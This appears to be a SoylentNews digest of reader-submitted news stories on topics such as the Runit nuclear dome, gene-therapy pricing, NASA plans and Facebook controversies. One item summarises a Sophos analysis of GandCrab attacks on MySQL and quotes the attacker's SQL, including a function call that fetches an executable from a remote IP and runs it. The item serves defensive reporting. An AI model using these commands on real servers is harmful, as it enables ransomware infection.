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upstart writes:

Submitted via IRC for Bytram

Under the dome: Fears Pacific nuclear 'coffin' is leaking

As nuclear explosions go, the US "Cactus" bomb test in May 1958 was relatively small—but it has left a lasting legacy for the Marshall Islands in a dome-shaped radioactive dump.

The dome—described by a UN chief Antonio Guterres as "a kind of coffin"—was built two decades after the blast in the Pacific ocean region.

The US military filled the bomb crater on Runit island with radioactive waste, capped it with concrete, and told displaced residents of the Pacific's remote Enewetak atoll they could safely return home.

But Runit's 45-centimetre (18-inch) thick concrete dome has now developed cracks.

And because the 115-metre wide crater was never lined, there are fears radioactive contaminants are leaching through the island's porous coral rock into the ocean.

The concerns have intensified amid climate change. Rising seas, encroaching on the low-lying nation, are threatening to undermine the dome's structural integrity.

Jack Ading, who represents the area in the Marshalls' parliament, calls the dome a "monstrosity".

"It is stuffed with radioactive contaminants that include plutonium-239, one of the most toxic substances known to man," he told AFP.

"The coffin is leaking its poison into the surrounding environment. And to make matters even worse, we're told not to worry about this leakage because the radioactivity outside of the dome is at least as bad as the radioactivity inside of it."

Original Submission

RandomFactor writes:

Sophos has uncovered a wave of attacks targeting servers running MySQL on Windows.

The attack delivers the GandCrab ransomware.

The attackers attempt to connect to the database server and establish that it is running a MySQL instance.

Then, the attacker uses the "set" command to upload all the bytes composing the helper DLL into memory in a variable and wrote out the contents of that variable to a database table named yongger2.

The attacker concatenates the bytes into one file and drops them into the server's plugin directory. The analysis of the DLL revealed it is used to add the xpdl3, xpdl3_deinit, and xpdl3_init functions to the database.

The attacker then drops the yongger2 table and the function xpdl3, if one already exists. At this point the attacker uses the following SQL command to create a database function (also named xpdl3) that is used to invoke the DLL:

CREATE FUNCTION xpdl3 RETURNS STRING SONAME 'cna12.dll'

The command to invoke the xpdl3 function is:

select xpdl3('hxxp://172.96.14.134:5471/3306-1[.]exe','c:\\isetup.exe')

Using this attack scheme, the attacker instructs the database server to download the GandCrab payload from the remote machine and drops it in the root of the C: drive with the name isetup.exe and executes it.

Tracking back through the attack chain, the researchers determined that the malware was downloaded from the source ~3100 times since mid April. Each download potentially indicating an infection, although presumably some were, as in Sophos' case, honeypots where no actual damage was done. The user interface of the system (geolocated in Arizona) hosting the malware is in simplified Chinese.

While not a widespread attack by numbers, it does represent a significant risk to MySQL databases exposed online.

Detailed Analysis

Original Submission

An Anonymous Coward writes:

The World Socialist Web Site, publication of record of the ICFI (SEP), on May 24th released a report about the grim situation many millennials face:

The stock market is booming, and President Donald Trump is boasting at every turn that the unemployment rate is lower than it has been in five decades.

However, the working class, the vast majority of the population, is confronting an unprecedented social, economic, health and psychological crisis. The same processes that have produced vast sums of wealth for the ruling elite have left millions of workers on the brink of existence.

Perhaps no segment of the population reflects the devastating consequences of these processes so starkly as the generation of young people deemed the "millennials," those born roughly between the years 1981 and 1996. More than half the 72 million American millennials are now in their 30s, with the oldest turning 38 this year.

A recent exposé by the Wall Street Journal noted that millennials are "in worse financial shape than prior living generations and may not recover." The article, "Millennials Near Middle Age in Crisis," [paywalled] concludes by stating that people born in the 1980s are at risk of becoming "America's Lost generation."

Selected bullet points from the WSWS article:

• Millennials have taken on 300 percent more student debt than their parents' generation. [Source: The College Board, Trends in Student Aid 2013]
• By 2014, 48 percent of workers with bachelor's degrees are employed in jobs for which they're overqualified. [Source: Labor Economist Stephen Rose, published by Urban Institute.]
• The number of workers in the United States participating in the gig economy is expected to triple to 42 million workers by 2020, and 42 percent of those people are likely to be millennials. [Source: Freshbooks]
• Between 1978 and 2017, according to the EPI, CEO compensation rose in the US by 1,070 percent, while the typical worker's compensation over these 39 years rose by a mere 11.2 percent.
• In the 40 years leading up to the recession, rents increased at more than twice the rate of incomes. [Source: Joint Center for Housing Studies at Harvard University.]
• One in 5 millennials say they cannot afford routine healthcare expenses. Many of these millennials are uninsured because of the cost. An additional 26 percent say they can afford routine health-care costs, but only with difficulty. [Source: Harris Poll]
• Men and women in their thirties are marrying at rates below every other generation on record. [Source: The Atlantic, "The Death (and Life) of Marriage in America"]
• It is predicted that most millennials will not be able to retire until age 75. [Source: NerdWallet analysis of federal data]

The report concludes, "Far from becoming the 'Lost Generation' predicted by the Wall Street Journal, this generation of workers carries within it an enormous source of revolutionary potential."

[Ed. Note. I debated whether or not to run this story given the partisan source for the article, but the list of references suggested it was more than a simple opinion piece. So, are things really as grim as portrayed here? I'm too old to be a millennial, but have both personally experienced as well as witnessed many others facing the same trends listed here. Where do things go from here?]

Original Submission

RandomFactor writes:

A study led by scientists at Emory Univeristy has shown that extracts from plants used in the South during the civil war have antimicrobial properties effective against several modern multi-drug resistant bacteria.

During the height of the Civil War, the Confederate Surgeon General commissioned a guide to traditional plant remedies of the South, as battlefield physicians faced high rates of infections among the wounded and shortages of conventional medicines. A new study of three of the plants from this guide -- the white oak, the tulip poplar and the devil's walking stick -- finds that they have antiseptic properties.

The antebellum antimicrobials, harvested right on campus, were found to be effective in testing against modern Acinetobacter baumannii, Staphylococcus aureus and Klebsiella pneumoniae

"Our findings suggest that the use of these topical therapies may have saved some limbs, and maybe even lives, during the Civil War," says Cassandra Quave, senior author of the paper and assistant professor at Emory's Center for the Study of Human Health and the School of Medicine's Department of Dermatology.

The guide was named the "Standard supply table of the indigenous remedies for field service and the sick in general hospitals." and lists botanical names, dosages, and medical properties of various native southern plants.

Even so, amputation was a common treatment for infected wounds and one in 13 surviving Civil War soldiers went home missing one or more limbs.

Journal Reference: Micah Dettweiler, James T. Lyles, Kate Nelson, Brandon Dale, Ryan M. Reddinger, Daniel V. Zurawski, Cassandra L. Quave. American Civil War plant medicines inhibit growth, biofilm formation, and quorum sensing by multidrug-resistant bacteria. Scientific Reports, 2019; 9 (1) DOI: 10.1038/s41598-019-44242-y

Original Submission

RandomFactor writes:

The ESA (European Space Agency) which operates the Hubble Space Telescope together with NASA (US National Aeronautics and Space Administration) announced this month that the distant galaxy Messier 90 is on a collision course with our own Milky Way, and it is speeding up.

As the universe infinitely expands into the void of space from the moment of the Big Bang, light shifts towards the red end of the visible spectrum. But NASA's Hubble Space Telescope has photographed a nearby galaxy, Messier 90, shifting to the blue end of the spectrum – a sign it is accelerating towards us.

The vast majority of galaxies are heading away from us, making Messier 90, which is breaking away from the other 1,200 galaxies in the Virgo Cluster, "an incredible rarity."

This puts Messier 90 (60 million light years away) in the company of Andromeda (2.5 million light years) and the Large Magellanic cloud (200,000 light years), both of which which will be colliding with the Milky Way in the next few billion years.

Fortunately galaxy collisions are unlikely to result in any actual stars colliding. According to astronomer Dr Amelie Saintonge of University College London "the probability of two stars colliding is almost zero", so we should be relatively safe from being affected by these collisions billions of years in the future.

This doesn't mean we should sit back however. The sun is likely to make Earth uninhabitable by then through routine heating (the sun gets about 10% brighter every billion years) evaporating our oceans and shifting us into a runaway greenhouse effect similar to what Venus underwent.

Related Coverage
Andromeda may be Closer than Previously Thought
Milky Way to Face a One-two Punch of Galaxy Collisions

Original Submission

Arthur T Knackerbracket has found the following story:

Understanding and controlling how the diffusion process works at the atomic scale is an important question in the synthesis of materials. For nanoparticles, the stability, size, structure, composition, and atomic ordering are all dependent on position inside the particle, and diffusion both affects all of these properties and is affected by them. A more thorough understanding of the mechanisms and effects of diffusion in nanocrystals will help to develop controlled synthesis methods to obtain the particular properties; however, conventional methods for studying diffusion in solids all have limitations.

Given the need for imaging techniques that are sensitive to slower dynamics and allow the nanocrystals to be investigated at the atomic scale and in three dimensions (3-D), a team of researchers used the strain sensitivity of Bragg coherent diffraction imaging (BCDI) to study the diffusion of iron into individual gold nanocrystals in situ at elevated temperatures. Their work was recently published in the New Journal of Physics.

Direct methods for studying diffusion in solids (such as mechanical and sputter profiling, secondary ion diffusion coefficient. Indirect methods (such as quasielastic neutron spectroscopy and Mössbauer spectroscopy) can provide microscopic information on the diffusion process, but are limited to a narrow number of isotopes and relatively fast diffusivity values. Existing methods for diffusion studies in solids also tend to average signals over a number of structures, but in nanocrystals sample heterogeneity is significant and can affect results. Transmission electron microscopy (TEM) allows diffusion to be studied in individual nanoparticles, but is limited to thin samples (<100 nm) and the necessary sample preparation can be destructive.

Phoenix666 writes:

Science Magazine:

The men competing in the National Football League (NFL) and Major League Baseball (MLB) are some of the most elite athletes in the world. But their death rates differ markedly, a new study of thousands of former pro athletes has found. Former pro football players had a higher overall death rate than baseball veterans and were felled by cardiovascular disease and neurodegenerative illnesses at strikingly higher rates than their MLB peers. On average, the football players died 7 years earlier than MLB players, the research found.
...
The 517 former NFL players who died during that 35-year period did so at an average age of 59.6 years; the baseball players at 66.7 years. By far the largest cause of death for the football players was heart disease: It was listed as a cause of death for 498 of the 517 NFL players surveyed. By contrast, brain disease contributed to just 39 of those deaths. Among the former MLB players, there were 431 deaths, with heart disease listed as a cause in 225 of them and neurodegenerative disease in 16.

Data analysis.

Hmm, could it be sublimated guilt over their mistreatment of nerds in high school?

Original Submission

Arthur T Knackerbracket has found the following story:

Most Android manufacturers — including Huawei — are what’s known as Google hardware partners. This relationship lets them build their phones around a collection of Google products, from apps like Google Maps and Assistant, to under-the-hood tools like location services or push notifications. While Google gives off the impression that Android is open and available to everyone, these services represent a quiet control that the company doesn’t often enforce over its hardware partners — though, as it has now proven, it certainly can.

With the recent order, the U.S. government forced Google’s hand. The U.S. Department of Commerce put Huawei on the “Entity List,” which blocks it from buying technology from U.S. companies without government approval. Huawei and Google now have three months to send updates to existing users. For new phones, Huawei may be able to use the open-source version of Android, but it can’t be a Google partner.

The distinction between using Android and being a Google partner seems messy from the outside, but “Android” technically refers to the core operating system that covers basic things like making phone calls or using the camera. The freely available version of Android is called the Android Open Source Project (AOSP) and a company doesn’t have to be a partner to use it.

martyb writes:

Bestmixer Seized by Police for Washing $200 Million in Tainted Cryptocurrency Clean:

Bestmixer.io has been seized and shut down by European police for reportedly laundering over $200 million in cryptocurrency.

On Wednesday, Europol, the Dutch Fiscal Information and Investigation Service (FIOD), and Luxembourg authorities said six servers used to facilitate the service were seized in the Netherlands and Luxembourg.

Bestmixer launched in May 2018. Only a month later, police began investigating the mixing service and found that over the course of one year, the "world's leading cryptocurrency mixing service" had managed to launder at least $200 million in cryptocurrency on behalf of customers.

[...] The service was able to mix Bitcoin (BTC), Bitcoin Cash (BCH) and Litecoin (LTC). By "mixing" these tainted coins with others, it is possible to clean up funds and eradicate ties to criminal activities written in the blockchain ledger in a process also known as "washing."

[...] A commission is then taken from the original sum before the funds are diverted to another output address, free of ledger entries which may criminalize the owners.

McAfee assisted in the investigation and has published a blog post about it.

Also at: Security Week

Original Submission

martyb writes:

Holiday Weekend: For our international readers who may be unaware, Monday 27 May marks Memorial Day in the United States, a remembrance of members of the military who have passed in the line of service. In reality, if has become the de facto start of summer which runs past Independence Day (July 4) until Labor Day.

Over this 3-day-long holiday weekend, a great number of establishments are closed or run at reduced hours and staffing. Stories appear on the internet at a reduced rate, and many more "fluff pieces" appear as filler.

I have heard quite clearly that, given a choice, the community generally prefers quality over quantity.

SoylentNews runs with approximate story spacings of a bit over 1.5 hours on weekdays and a little under 2.5 hours on weekends. We've been "feeding the queue" 24 hours per day, every single day, for over 5 years (still amazes me it has been that long!)

So, based primarily on those factors, I have suggested the eds adopt weekend story spacing for Monday (UTC) so they, too, can have a bit of a break.

Read on past the break for the rest of the site news.

RandomFactor writes:

The Food and Drug Administration has a approved a new gene therapy from Novartis that rings in at a whopping $2.125 Million for a one-time treatment making it "the most expensive drug on the market."

The drug Zolgensma is the second gene therapy approved for treatment of a genetic disease and consists of an infusion of genetically modified viruses carrying healthy copies of a defective gene that causes spinal muscular atrophy (SMA), which can be fatal within a year or two of birth. The first, approved in 2017 for treatment of a genetic form of blindness, was priced at a comparatively modest $425,000 per eye.

These backbreaking (eye watering?) prices come with their share of controversy

"We have been slowly subjected to price increases the same way the frog in the boiling water is slowly boiled to death," [Peter Bach, MD, MAPP Director of the Memorial Sloan Kettering's Center for Health Policy and Outcomes says.]

Insurers are expected to cover the cost. The company says payment plans will be available.

AveXis president Lennon acknowledges the numbers might seem shocking. But he argues the drug is easily worth it. The only existing treatment for spinal muscular atrophy, a drug called Spinraza, costs hundreds of thousands of dollars a year. Zolgensma hopefully will be a one-time, life-saving treatment.

"We're talking about a lifetime of benefit being condensed down into a one-time treatment," Lennon says. "We're not used to thinking about this that way. We're used to a system of a chronic medication where we spread things out over years if not decades."

The drug is currently in production and will be available for use "shortly"

Side Note: The fable of the frog being slowly boiled alive is doubly inaccurate. Frogs will progressively become more active attempting to escape slowly heating water and if able will exit the 'pot' long before it comes to the point they are in danger. Additionally a frog dropped into boiling water would likely be unable to hop out in time to save itself.

Original Submission

Phoenix666 writes:

BBC:

Facebook is under fire in Africa for undermining democracy, with critics saying the social media giant has allowed its platform to be weaponised for co-ordinated misinformation campaigns. The role of false news has taken centre stage in every single one of the continent's eight national polls this year - and last week Facebook said an Israel political consultancy was behind much of it.

It banned Archimedes Group, which it said was responsible for a network of those masquerading as African nationals, and removed 265 Facebook and Instagram pages and groups involved in "co-ordinated inauthentic behaviour" mainly targeting Nigeria, Senegal, Togo, Angola, Niger and Tunisia.

Nanjira Sambuli, from the World Wide Web Foundation, says it has taken Facebook too long to pay attention to this problem in developing countries. "Democracies are at risk on this continent, and unfortunately, social media platforms are fast becoming the sites of aggravation," she told the BBC.

Some feel the continent's weak regulations on privacy and data protection have meant Africa has been used as a "guinea pig" for privacy violations. "We're a training ground. Once it works in Africa, they replicate that and they use it across Africa other geographies," Cameroonian tech entrepreneur Rebecca Enonchong told the BBC.

Betteridge says "No," but my heart says, "Yes!"

Original Submission

aristarchus writes:

According to Extreme Tech,

NASA is going back to the Moon, and this time, it intends to stay a while. That's the news from NASA Administrator Jim Bridenstine, who announced the first company chosen to deliver a vital component of the space agency's Lunar Gateway space station. Maxar Technologies will build the power and propulsion system for the Lunar Gateway, the first step in NASA's ambitious new Artemis project that will put humans on the Moon's surface in just five years.

"This time when we go to the Moon, we're actually going to stay," Bridenstine said. "The goal here is speed. 2024 is right around the corner."

But then, there is this:

May 24 (UPI) -- Just weeks after he was assigned to lead NASA's renewed efforts to explore the moon, special assistant Mark Sirangelo has left the space agency, officials said.

NASA Administrator Jim Bridenstine announced Sirangelo's departure in an internal memo Thursday, Space News reported.

Sirangelo joined NASA last month as special assistant to the administrator and was tabbed to guide the agency's efforts to explore the lunar surface. Bridenstine said, however, that NASA's proposal for the "Moon to Mars Mission Directorate", which had support from the White House, was turned down by Congress.

"NASA proposed to the House and Senate a reorganization to establish a new mission directorate focused on a sustainable lunar campaign," Bridenstine said in a statement. "The proposal was not accepted at this time, so we will move forward under our current organizational structure within the Human Exploration and Operations Mission Directorate."

The mission was first announced in March to meet Vice President Mike Pence's goal of returning humans on the moon by 2024.

Sirangelo appeared with other NASA officials this week at an advisory council to discuss exploration plans. At the meeting, he said he'd been working on the plan to return to the moon, a mission he called "daunting." Also at the meeting, Bridenstine said NASA needs an additional $1.6 billion for the 2020 budget to reach the goal.

"Given NASA is no longer pursuing the new mission directorate, Mark has opted to pursue other opportunities. I want to personally thank Mark for his service and his valuable contributions to the agency," Bridenstine said.

What is a young science-curious Soylentil to think?

Original Submission

CrossFit, Inc. Suspends Use of Facebook and Associated Services

canopic jug and an Anonymous Coward write:

CrossFit has announced in a press release that it has closed its Facebook accounts as of May 22, 2019. CrossFit is an almost 20 year old branded fitness regimen. Its press release goes into quite a bit of detail into the problems caused by use of Facebook and its subsidiary services such as Instagram and enumerates eight specific examples of deal-breakers.

Earlier on SN:
Facebook Still Tracks You After You Deactivate Your Account (2019)
Didn't Think Facebook Could Get Any Worse? Think Again. (2018)
Why No One Trusts Facebook (2014)

CrossFit, Inc. Suspends Use of Facebook and Associated Properties After Unexplained Ban

CrossFit, Inc. defends relentlessly the right of its affiliates, trainers, and athletes to practice CrossFit, build voluntary CrossFit associations and businesses, and speak openly and freely about the ideas and principles that animate our views of exercise, nutrition, and health. This website—and, until recently, CrossFit's Facebook and Instagram accounts—has long catalogued CrossFit's tireless defense of its community against overreaching governments, malicious competitors, and corrupt academic organizations.

Recently, Facebook deleted without warning or explanation the Banting7DayMealPlan user group. The group has 1.65 million users who post testimonials and other information regarding the efficacy of a low-carbohydrate, high-fat diet. While the site has subsequently been reinstated (also without warning or explanation), Facebook's action should give any serious person reason to pause, especially those of us engaged in activities contrary to prevailing opinion.

https://www.crossfit.com/battles/crossfit-suspends-facebook-instagram

Original Submission #1  Original Submission #2 

takyon writes:

United Nations: Siri and Alexa Are Encouraging Misogyny

We already knew humans could make biased AIs — but the United Nations says the reverse is true as well.

Millions of people talk to AI voice assistants, such as Apple's Siri and Amazon's Alexa. When those assistants talk back, they do so in female-sounding voices, and a new UN report argues that those voices and the words they're programmed to say amplify gender biases and encourage users to be sexist — but it's not too late to change course.

The report is the work of the United Nations Educational, Scientific, and Cultural Organization (UNESCO), and its title — "I'd blush if I could" — is the response Siri was programmed in 2011 to give if a user called her a "bitch."

[...] "It is a 'Me Too' moment," Saniye Gülser Corat, Director of UNESCO's Division for Gender Equality, told CBS News. "We have to make sure that the AI we produce and that we use does pay attention to gender equality."

Also at CNET.

[Back in 2013 in Germany, Siri's voice could be selected as either male or female.

Possibly one of the earliest and best-known "computer voices" was that of Majel Barrett from ST:TOS, although a case could be made for HAL 9000 from 2001: A Space Odyssey. --Ed.]

Original Submission